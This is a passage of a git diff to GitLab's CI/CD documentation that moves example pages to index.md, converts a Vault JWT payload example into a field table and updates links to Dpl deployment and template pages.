[Clojure (`Clojure.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Clojure.gitlab-ci.yml) -- [Composer `Composer.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Composer.gitlab-ci.yml) -- [Crystal (`Crystal.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Crystal.gitlab-ci.yml) -- [Dart (`Dart.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Dart.gitlab-ci.yml) -- [Django (`Django.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Django.gitlab-ci.yml) -- [Docker (`Docker.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Docker.gitlab-ci.yml) -- [dotNET (`dotNET.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/dotNET.gitlab-ci.yml) -- [dotNET Core (`dotNET-Core.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/dotNET-Core.yml) -- [Elixir (`Elixir.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Elixir.gitlab-ci.yml) -- [Flutter (`Flutter.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Flutter.gitlab-ci.yml) -- [goLang (`Go.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Go.gitlab-ci.yml) -- [Gradle (`Gradle.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Gradle.gitlab-ci.yml) -- [Grails (`Grails.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Grails.gitlab-ci.yml) -- [iOS with fastlane (`iOS-Fastlane.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/iOS-Fastlane.gitlab-ci.yml) -- [Julia (`Julia.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Julia.gitlab-ci.yml) -- [Laravel (`Laravel.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Laravel.gitlab-ci.yml) -- [LaTeX (`LaTeX.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/LaTeX.gitlab-ci.yml) -- [Maven (`Maven.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Maven.gitlab-ci.yml) -- [Mono (`Mono.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Mono.gitlab-ci.yml) -- [npm (`npm.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/npm.gitlab-ci.yml) -- [Node.js (`Nodejs.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml) -- [OpenShift (`OpenShift.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/OpenShift.gitlab-ci.yml) -- [Packer (`Packer.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Packer.gitlab-ci.yml) -- [PHP (`PHP.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/PHP.gitlab-ci.yml) -- [Python (`Python.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Python.gitlab-ci.yml) -- [Ruby (`Ruby.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml) -- [Rust (`Rust.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Rust.gitlab-ci.yml) -- [Scala (`Scala.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Scala.gitlab-ci.yml) -- [Swift (`Swift.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Swift.gitlab-ci.yml) -- [Terraform (`Terraform.latest.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.latest.gitlab-ci.yml) - -If a programming language or framework template is not in this list, you can contribute -one. To create a template, submit a merge request -to [the templates list](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). - -### Adding templates to your GitLab installation **(PREMIUM SELF)** - -You can add custom examples and templates to your self-managed GitLab instance. -Your GitLab administrator can [designate an instance template repository](../../user/admin_area/settings/instance_template_repository.md) -that contains examples and templates specific to your organization. - -## Other resources - -This section provides further resources to help you get familiar with various uses of GitLab CI/CD. -Note that older articles and videos may not reflect the state of the latest GitLab release. - -### CI/CD in the cloud - -For examples of setting up GitLab CI/CD for cloud-based environments, see: - -- [How to set up multi-account AWS SAM deployments with GitLab CI](https://about.gitlab.com/blog/2019/02/04/multi-account-aws-sam-deployments-with-gitlab-ci/) -- [Automating Kubernetes Deployments with GitLab CI/CD](https://www.youtube.com/watch?v=wEDRfAz6_Uw) -- [How to autoscale continuous deployment with GitLab Runner on DigitalOcean](https://about.gitlab.com/blog/2018/06/19/autoscale-continuous-deployment-gitlab-runner-digital-ocean/) -- [How to create a CI/CD pipeline with Auto Deploy to Kubernetes using GitLab and Helm](https://about.gitlab.com/blog/2017/09/21/how-to-create-ci-cd-pipeline-with-autodeploy-to-kubernetes-using-gitlab-and-helm/) -- [Demo - Deploying from GitLab to OpenShift Container Cluster](https://youtu.be/EwbhA53Jpp4) - -See also the following video overviews: - -- [Kubernetes, GitLab, and Cloud Native](https://www.youtube.com/watch?v=d-9awBxEbvQ). -- [Deploying to IBM Cloud with GitLab CI/CD](https://www.youtube.com/watch?v=6ZF4vgKMd-g). - -### Customer stories - -For some customer experiences with GitLab CI/CD, see: - -- [How Verizon Connect reduced data center deploys from 30 days to under 8 hours with GitLab](https://about.gitlab.com/blog/2019/02/14/verizon-customer-story/) -- [How Wag! cut their release process from 40 minutes to just 6](https://about.gitlab.com/blog/2019/01/16/wag-labs-blog-post/) -- [How Jaguar Land Rover embraced CI to speed up their software lifecycle](https://about.gitlab.com/blog/2018/07/23/chris-hill-devops-enterprise-summit-talk/) - -### Getting started - -For some examples to help get you started, see: - -- [GitLab CI/CD's 2018 highlights](https://about.gitlab.com/blog/2019/01/21/gitlab-ci-cd-features-improvements/) -- [A beginner's guide to continuous integration](https://about.gitlab.com/blog/2018/01/22/a-beginners-guide-to-continuous-integration/) - -### Implementing GitLab CI/CD - -For examples of others who have implemented GitLab CI/CD, see: - -- [How to streamline interactions between multiple repositories with multi-project pipelines](https://about.gitlab.com/blog/2018/10/31/use-multiproject-pipelines-with-gitlab-cicd/) -- [How we used GitLab CI to build GitLab faster](https://about.gitlab.com/blog/2018/05/02/using-gitlab-ci-to-build-gitlab-faster/) -- [Test all the things in GitLab CI with Docker by example](https://about.gitlab.com/blog/2018/02/05/test-all-the-things-gitlab-ci-docker-examples/) -- [A Craftsman looks at continuous integration](https://about.gitlab.com/blog/2018/01/17/craftsman-looks-at-continuous-integration/) -- [Go tools and GitLab: How to do continuous integration like a boss](https://about.gitlab.com/blog/2017/11/27/go-tools-and-gitlab-how-to-do-continuous-integration-like-a-boss/) -- [GitBot – automating boring Git operations with CI](https://about.gitlab.com/blog/2017/11/02/automating-boring-git-operations-gitlab-ci/) -- [How to use GitLab CI for Vue.js](https://about.gitlab.com/blog/2017/09/12/vuejs-app-gitlab/) -- Video: [GitLab CI/CD Deep Dive](https://youtu.be/pBe4t1CD8Fc?t=195) -- [Dockerizing GitLab Review Apps](https://about.gitlab.com/blog/2017/07/11/dockerizing-review-apps/) -- [Fast and natural continuous integration with GitLab CI](https://about.gitlab.com/blog/2017/05/22/fast-and-natural-continuous-integration-with-gitlab-ci/) -- [Demo: CI/CD with GitLab in action](https://about.gitlab.com/blog/2017/03/13/ci-cd-demo/) - -### Migrating to GitLab from third-party CI tools - -- [Migrating from Jenkins to GitLab](https://youtu.be/RlEVGOpYF5Y) - -### Integrating GitLab CI/CD with other systems - -To see how you can integrate GitLab CI/CD with third-party systems, see: - -- [Streamline and shorten error remediation with Sentry's new GitLab integration](https://about.gitlab.com/blog/2019/01/25/sentry-integration-blog-post/) -- [How to simplify your smart home configuration with GitLab CI/CD](https://about.gitlab.com/blog/2018/08/02/using-the-gitlab-ci-slash-cd-for-smart-home-configuration-management/) -- [Demo: GitLab + Jira + Jenkins](https://about.gitlab.com/blog/2018/07/30/gitlab-workflow-with-jira-jenkins/) -- [Introducing Auto Breakfast from GitLab (sort of)](https://about.gitlab.com/blog/2018/06/29/introducing-auto-breakfast-from-gitlab/) - -### Mobile development - -For help with using GitLab CI/CD for mobile application development, see: - -- [How to publish Android apps to the Google Play Store with GitLab and fastlane](https://about.gitlab.com/blog/2019/01/28/android-publishing-with-gitlab-and-fastlane/) -- [Setting up GitLab CI for Android projects](https://about.gitlab.com/blog/2018/10/24/setting-up-gitlab-ci-for-android-projects/) -- [Working with YAML in GitLab CI from the Android perspective](https://about.gitlab.com/blog/2017/11/20/working-with-yaml-gitlab-ci-android/) -- [How to use GitLab CI and MacStadium to build your macOS or iOS projects](https://about.gitlab.com/blog/2017/05/15/how-to-use-macstadium-and-gitlab-ci-to-build-your-macos-or-ios-projects/) -- [Setting up GitLab CI for iOS projects](https://about.gitlab.com/blog/2016/03/10/setting-up-gitlab-ci-for-ios-projects/) +<!-- This redirect file can be deleted after 2021-09-28. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md index fc1e06e91c6..65fe9fb44d4 100644 --- a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md +++ b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md @@ -32,31 +32,57 @@ You must replace the `vault.example.com` URL below with the URL of your Vault se Each job has JSON Web Token (JWT) provided as CI/CD variable named `CI_JOB_JWT`. This JWT can be used to authenticate with Vault using the [JWT Auth](https://www.vaultproject.io/docs/auth/jwt#jwt-authentication) method. -The JWT's payload looks like this: +The following fields are included in the JWT: + +| Field | When | Description | +| ----------------------- | ------ | ----------- | +| `jti` | Always | Unique identifier for this token | +| `iss` | Always | Issuer, the domain of your GitLab instance | +| `iat` | Always | Issued at | +| `nbf` | Always | Not valid before | +| `exp` | Always | Expires at | +| `sub` | Always | Subject (job ID) | +| `namespace_id` | Always | Use this to scope to group or user level namespace by ID | +| `namespace_path` | Always | Use this to scope to group or user level namespace by path | +| `project_id` | Always | Use this to scope to project by ID | +| `project_path` | Always | Use this to scope to project by path | +| `user_id` | Always | ID of the user executing the job | +| `user_login` | Always | Username of the user executing the job | +| `user_email` | Always | Email of the user executing the job | +| `pipeline_id` | Always | ID of this pipeline | +| `pipeline_source` | Always | [Pipeline source](../../jobs/job_control.md#common-if-clauses-for-rules) | +| `job_id` | Always | ID of this job | +| `ref` | Always | Git ref for this job | +| `ref_type` | Always | Git ref type, either `branch` or `tag` | +| `ref_protected` | Always | `true` if this Git ref is protected, `false` otherwise | +| `environment` | Job is creating a deployment | Environment this job deploys to ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/294440) in GitLab 13.9) | +| `environment_protected` | Job is creating a deployment |`true` if deployed environment is protected, `false` otherwise ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/294440) in GitLab 13.9) | + +Example JWT payload: ```json { - "jti": "c82eeb0c-5c6f-4a33-abf5-4c474b92b558", # Unique identifier for this token - "iss": "gitlab.example.com", # Issuer, the domain of your GitLab instance - "iat": 1585710286, # Issued at - "nbf": 1585798372, # Not valid before - "exp": 1585713886, # Expire at - "sub": "job_1212", # Subject (job id) - "namespace_id": "1", # Use this to scope to group or user level namespace by id - "namespace_path": "mygroup", # Use this to scope to group or user level namespace by path - "project_id": "22", # - "project_path": "mygroup/myproject", # - "user_id": "42", # Id of the user executing the job - "user_login": "myuser" # GitLab @username - "user_email": "myuser@example.com", # Email of the user executing the job - "pipeline_id": "1212", # - "pipeline_source": "web", # Pipeline source, see: https://docs.gitlab.com/ee/ci/yaml/#common-if-clauses-for-rules - "job_id": "1212", # - "ref": "auto-deploy-2020-04-01", # Git ref for this job - "ref_type": "branch", # Git ref type, branch or tag - "ref_protected": "true", # true if this git ref is protected, false otherwise - "environment": "production", # Environment this job deploys to, if present (GitLab 13.9 and later) - "environment_protected": "true" # true if deployed environment is protected, false otherwise (GitLab 13.9 and later) + "jti": "c82eeb0c-5c6f-4a33-abf5-4c474b92b558", + "iss": "gitlab.example.com", + "iat": 1585710286, + "nbf": 1585798372, + "exp": 1585713886, + "sub": "job_1212", + "namespace_id": "1", + "namespace_path": "mygroup", + "project_id": "22", + "project_path": "mygroup/myproject", + "user_id": "42", + "user_login": "myuser", + "user_email": "myuser@example.com", + "pipeline_id": "1212", + "pipeline_source": "web", + "job_id": "1212", + "ref": "auto-deploy-2020-04-01", + "ref_type": "branch", + "ref_protected": "true", + "environment": "production", + "environment_protected": "true" } ``` @@ -204,7 +230,7 @@ read_secrets: ``` NOTE: -If you're using a Vault instance provided by HashiCorp Cloud Platform, +If you're using a Vault instance provided by HashiCorp Cloud Platform, you need to export the `VAULT_NAMESPACE` variable. Its default value is `admin`.  diff --git a/doc/ci/examples/deployment/README.md b/doc/ci/examples/deployment/README.md index 4d2c22a17f0..5ab8653dc35 100644 --- a/doc/ci/examples/deployment/README.md +++ b/doc/ci/examples/deployment/README.md @@ -1,131 +1,8 @@ --- -stage: Release -group: Release -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: tutorial +redirect_to: 'index.md' --- -# Using Dpl as deployment tool +This document was moved to [another location](index.md). -[Dpl](https://github.com/travis-ci/dpl) (pronounced like the letters D-P-L) is a deploy tool made for -continuous deployment that's developed and used by Travis CI, but can also be -used with GitLab CI/CD. - -Dpl can be used to deploy to any of the [supported providers](https://github.com/travis-ci/dpl#supported-providers). - -## Requirements - -To use Dpl you need at least Ruby 1.9.3 with ability to install gems. - -## Basic usage - -Dpl can be installed on any machine with: - -```shell -gem install dpl -``` - -This allows you to test all commands from your local terminal, rather than -having to test it on a CI server. - -If you don't have Ruby installed you can do it on Debian-compatible Linux with: - -```shell -apt-get update -apt-get install ruby-dev -``` - -The Dpl provides support for vast number of services, including: Heroku, Cloud Foundry, AWS/S3, and more. -To use it simply define provider and any additional parameters required by the provider. - -For example if you want to use it to deploy your application to Heroku, you need to specify `heroku` as provider, specify `api_key` and `app`. -All possible parameters can be found in the [Heroku API section](https://github.com/travis-ci/dpl#heroku-api). - -```yaml -staging: - stage: deploy - script: - - gem install dpl - - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY -``` - -In the above example we use Dpl to deploy `my-app-staging` to Heroku server with API key stored in `HEROKU_STAGING_API_KEY` secure variable. - -To use different provider take a look at long list of [Supported Providers](https://github.com/travis-ci/dpl#supported-providers). - -## Using Dpl with Docker - -In most cases, you configured [GitLab Runner](https://docs.gitlab.com/runner/) to use your server's shell commands. -This means that all commands are run in the context of local user (e.g. `gitlab_runner` or `gitlab_ci_multi_runner`). -It also means that most probably in your Docker container you don't have the Ruby runtime installed. -You must install it: - -```yaml -staging: - stage: deploy - script: - - apt-get update -yq - - apt-get install -y ruby-dev - - gem install dpl - - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY - only: - - master -``` - -The first line `apt-get update -yq` updates the list of available packages, -where second `apt-get install -y ruby-dev` installs the Ruby runtime on system. -The above example is valid for all Debian-compatible systems. - -## Usage in staging and production - -It's pretty common in the development workflow to have staging (development) and -production environments - -Let's consider the following example: we would like to deploy the `master` -branch to `staging` and all tags to the `production` environment. -The final `.gitlab-ci.yml` for that setup would look like this: - -```yaml -staging: - stage: deploy - script: - - gem install dpl - - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY - only: - - master - -production: - stage: deploy - script: - - gem install dpl - - dpl --provider=heroku --app=my-app-production --api_key=$HEROKU_PRODUCTION_API_KEY - only: - - tags -``` - -We created two deploy jobs that are executed on different events: - -1. `staging` is executed for all commits that were pushed to `master` branch, -1. `production` is executed for all pushed tags. - -We also use two secure variables: - -1. `HEROKU_STAGING_API_KEY` - Heroku API key used to deploy staging app, -1. `HEROKU_PRODUCTION_API_KEY` - Heroku API key used to deploy production app. - -## Storing API keys - -To add secure variables, navigate to your project's -**Settings > CI/CD > Variables**. The variables that are defined -in the project settings are sent along with the build script to the runner. -The secure variables are stored out of the repository. Never store secrets in -your project's `.gitlab-ci.yml`. It is also important that the secret's value -is hidden in the job log. - -You access added variable by prefixing it's name with `$` (on non-Windows runners) -or `%` (for Windows Batch runners): - -1. `$VARIABLE` - use it for non-Windows runners -1. `%VARIABLE%` - use it for Windows Batch runners - -Read more about the [CI/CD variables](../../variables/README.md). +<!-- This redirect file can be deleted after 2021-09-28. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/deployment/index.md b/doc/ci/examples/deployment/index.md new file mode 100644 index 00000000000..00c613865a3 --- /dev/null +++ b/doc/ci/examples/deployment/index.md @@ -0,0 +1,131 @@ +--- +stage: Release +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: tutorial +--- + +# Using Dpl as deployment tool + +[Dpl](https://github.com/travis-ci/dpl) (pronounced like the letters D-P-L) is a deploy tool made for +continuous deployment that's developed and used by Travis CI, but can also be +used with GitLab CI/CD. + +Dpl can be used to deploy to any of the [supported providers](https://github.com/travis-ci/dpl#supported-providers). + +## Requirements + +To use Dpl you need at least Ruby 1.9.3 with ability to install gems. + +## Basic usage + +Dpl can be installed on any machine with: + +```shell +gem install dpl +``` + +This allows you to test all commands from your local terminal, rather than +having to test it on a CI server. + +If you don't have Ruby installed you can do it on Debian-compatible Linux with: + +```shell +apt-get update +apt-get install ruby-dev +``` + +The Dpl provides support for vast number of services, including: Heroku, Cloud Foundry, AWS/S3, and more. +To use it simply define provider and any additional parameters required by the provider. + +For example if you want to use it to deploy your application to Heroku, you need to specify `heroku` as provider, specify `api_key` and `app`. +All possible parameters can be found in the [Heroku API section](https://github.com/travis-ci/dpl#heroku-api). + +```yaml +staging: + stage: deploy + script: + - gem install dpl + - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY +``` + +In the above example we use Dpl to deploy `my-app-staging` to Heroku server with API key stored in `HEROKU_STAGING_API_KEY` secure variable. + +To use different provider take a look at long list of [Supported Providers](https://github.com/travis-ci/dpl#supported-providers). + +## Using Dpl with Docker + +In most cases, you configured [GitLab Runner](https://docs.gitlab.com/runner/) to use your server's shell commands. +This means that all commands are run in the context of local user (e.g. `gitlab_runner` or `gitlab_ci_multi_runner`). +It also means that most probably in your Docker container you don't have the Ruby runtime installed. +You must install it: + +```yaml +staging: + stage: deploy + script: + - apt-get update -yq + - apt-get install -y ruby-dev + - gem install dpl + - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY + only: + - master +``` + +The first line `apt-get update -yq` updates the list of available packages, +where second `apt-get install -y ruby-dev` installs the Ruby runtime on system. +The above example is valid for all Debian-compatible systems. + +## Usage in staging and production + +It's pretty common in the development workflow to have staging (development) and +production environments + +Let's consider the following example: we would like to deploy the `master` +branch to `staging` and all tags to the `production` environment. +The final `.gitlab-ci.yml` for that setup would look like this: + +```yaml +staging: + stage: deploy + script: + - gem install dpl + - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY + only: + - master + +production: + stage: deploy + script: + - gem install dpl + - dpl --provider=heroku --app=my-app-production --api_key=$HEROKU_PRODUCTION_API_KEY + only: + - tags +``` + +We created two deploy jobs that are executed on different events: + +1. `staging` is executed for all commits that were pushed to `master` branch, +1. `production` is executed for all pushed tags. + +We also use two secure variables: + +1. `HEROKU_STAGING_API_KEY` - Heroku API key used to deploy staging app, +1. `HEROKU_PRODUCTION_API_KEY` - Heroku API key used to deploy production app. + +## Storing API keys + +To add secure variables, navigate to your project's +**Settings > CI/CD > Variables**. The variables that are defined +in the project settings are sent along with the build script to the runner. +The secure variables are stored out of the repository. Never store secrets in +your project's `.gitlab-ci.yml`. It is also important that the secret's value +is hidden in the job log. + +You access added variable by prefixing it's name with `$` (on non-Windows runners) +or `%` (for Windows Batch runners): + +1. `$VARIABLE` - use it for non-Windows runners +1. `%VARIABLE%` - use it for Windows Batch runners + +Read more about the [CI/CD variables](../../variables/index.md). diff --git a/doc/ci/examples/end_to_end_testing_webdriverio/index.md b/doc/ci/examples/end_to_end_testing_webdriverio/index.md index 54e12cafa55..7a6d692cd43 100644 --- a/doc/ci/examples/end_to_end_testing_webdriverio/index.md +++ b/doc/ci/examples/end_to_end_testing_webdriverio/index.md @@ -146,10 +146,10 @@ new browser window interacting with your app as you specified. Which brings us to the exciting part: how do we run this in GitLab CI/CD? There are two things we need to do for this: -1. Set up [CI/CD jobs](../../yaml/README.md) that actually have a browser available. +1. Set up [CI/CD jobs](../../yaml/index.md) that actually have a browser available. 1. Update our WebdriverIO configuration to use those browsers to visit the review apps. -For the scope of this article, we've defined an additional [CI/CD stage](../../yaml/README.md#stages) +For the scope of this article, we've defined an additional [CI/CD stage](../../yaml/index.md#stages) `confidence-check` that is executed _after_ the stage that deploys the review app. It uses the `node:latest` [Docker image](../../docker/using_docker_images.md). However, WebdriverIO fires up actual browsers to interact with your application, so we need to install and run them. @@ -191,7 +191,7 @@ option as an argument to `npm run confidence-check` on the command line. However, we still need to tell WebdriverIO which browser is available for it to use. [GitLab CI/CD makes -a number of variables available](../../variables/README.md#predefined-cicd-variables) +a number of variables available](../../variables/index.md#predefined-cicd-variables) with information about the current CI job. We can use this information to dynamically set up our WebdriverIO configuration according to the job that is running. More specifically, we can tell WebdriverIO what browser to execute the test on depending on the name of the currently running @@ -255,5 +255,5 @@ production project, see: There's plenty more that WebdriverIO can do. For example, you can configure a [`screenshotPath`](http://v4.webdriver.io/guide/getstarted/configuration.html#screenshotPath) to tell WebdriverIO to take a screenshot when tests are failing. Then tell GitLab CI/CD to store those -[artifacts](../../yaml/README.md#artifacts), and you'll be able to see what went +[artifacts](../../yaml/index.md#artifacts), and you'll be able to see what went wrong within GitLab. diff --git a/doc/ci/examples/index.md b/doc/ci/examples/index.md new file mode 100644 index 00000000000..9d6a4f53123 --- /dev/null +++ b/doc/ci/examples/index.md @@ -0,0 +1,182 @@ +--- +stage: Verify +group: Pipeline Execution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +comments: false +type: index +--- + +# GitLab CI/CD Examples + +This page contains links to a variety of examples that can help you understand how to +implement [GitLab CI/CD](../README.md) for your specific use case. + +Examples are available in several forms. As a collection of: + +- `.gitlab-ci.yml` [template files](#cicd-templates) maintained in GitLab, for many + common frameworks and programming languages. +- Repositories with [example projects](https://gitlab.com/gitlab-examples) for various languages. You can fork and adjust them to your own needs. Projects include an example of using [Review Apps with a static site served by NGINX](https://gitlab.com/gitlab-examples/review-apps-nginx/). +- Examples and [other resources](#other-resources) listed below. + +## CI/CD examples + +The following table lists examples with step-by-step tutorials that are contained in this section: + +| Use case | Resource | +|-------------------------------|----------| +| Browser performance testing | [Browser Performance Testing with the Sitespeed.io container](../../user/project/merge_requests/browser_performance_testing.md). | +| Deployment with Dpl | [Using `dpl` as deployment tool](deployment/index.md). | +| GitLab Pages | See the [GitLab Pages](../../user/project/pages/index.md) documentation for a complete example of deploying a static site. | +| End-to-end testing | [End-to-end testing with GitLab CI/CD and WebdriverIO](end_to_end_testing_webdriverio/index.md). | +| Load performance testing | [Load Performance Testing with the k6 container](../../user/project/merge_requests/load_performance_testing.md). | +| Multi project pipeline | [Build, test deploy using multi project pipeline](https://gitlab.com/gitlab-examples/upstream-project). | +| npm with semantic-release | [Publish npm packages to the GitLab Package Registry using semantic-release](semantic-release.md). | +| PHP with Laravel, Envoy | [Test and deploy Laravel applications with GitLab CI/CD and Envoy](laravel_with_gitlab_and_envoy/index.md). | +| PHP with npm, SCP | [Running Composer and npm scripts with deployment via SCP in GitLab CI/CD](deployment/composer-npm-deploy.md). | +| PHP with PHPunit, `atoum` | [Testing PHP projects](php.md). | +| Secrets management with Vault | [Authenticating and Reading Secrets With HashiCorp Vault](authenticating-with-hashicorp-vault/index.md). | + +### Contributed examples + +You can help people that use your favorite programming language by submitting a link +to a guide for that language. These contributed guides are hosted externally or in +separate example projects: + +| Use case | Resource | +|-------------------------------|----------| +| Clojure | [Test a Clojure application with GitLab CI/CD](https://gitlab.com/gitlab-examples/clojure-web-application). | +| Game development | [DevOps and Game Development with GitLab CI/CD](https://gitlab.com/gitlab-examples/gitlab-game-demo/). | +| Java with Maven | [How to deploy Maven projects to Artifactory with GitLab CI/CD](https://gitlab.com/gitlab-examples/maven/simple-maven-example). | +| Java with Spring Boot | [Deploy a Spring Boot application to Cloud Foundry with GitLab CI/CD](https://gitlab.com/gitlab-examples/spring-gitlab-cf-deploy-demo). | +| Parallel testing Ruby & JS | [GitLab CI/CD parallel jobs testing for Ruby & JavaScript projects](https://docs.knapsackpro.com/2019/how-to-run-parallel-jobs-for-rspec-tests-on-gitlab-ci-pipeline-and-speed-up-ruby-javascript-testing). | +| Python on Heroku | [Test and deploy a Python application with GitLab CI/CD](https://gitlab.com/gitlab-examples/python-getting-started). | +| Ruby on Heroku | [Test and deploy a Ruby application with GitLab CI/CD](https://gitlab.com/gitlab-examples/ruby-getting-started). | +| Scala on Heroku | [Test and deploy a Scala application to Heroku](https://gitlab.com/gitlab-examples/scala-sbt). | + +## CI/CD templates + +Get started with GitLab CI/CD and your favorite programming language or framework by using a +`.gitlab-ci.yml` [template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). + +When you create a `gitlab-ci.yml` file in the UI, you can +choose one of these templates: + +- [Android (`Android.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Android.gitlab-ci.yml) +- [Android with fastlane (`Android-Fastlane.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Android-Fastlane.gitlab-ci.yml) +- [Bash (`Bash.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Bash.gitlab-ci.yml) +- [C++ (`C++.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/C++.gitlab-ci.yml) +- [Chef (`Chef.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Chef.gitlab-ci.yml) +- [Clojure (`Clojure.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Clojure.gitlab-ci.yml) +- [Composer `Composer.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Composer.gitlab-ci.yml) +- [Crystal (`Crystal.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Crystal.gitlab-ci.yml) +- [Dart (`Dart.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Dart.gitlab-ci.yml) +- [Django (`Django.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Django.gitlab-ci.yml) +- [Docker (`Docker.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Docker.gitlab-ci.yml) +- [dotNET (`dotNET.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/dotNET.gitlab-ci.yml) +- [dotNET Core (`dotNET-Core.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/dotNET-Core.yml) +- [Elixir (`Elixir.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Elixir.gitlab-ci.yml) +- [Flutter (`Flutter.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Flutter.gitlab-ci.yml) +- [goLang (`Go.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Go.gitlab-ci.yml) +- [Gradle (`Gradle.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Gradle.gitlab-ci.yml) +- [Grails 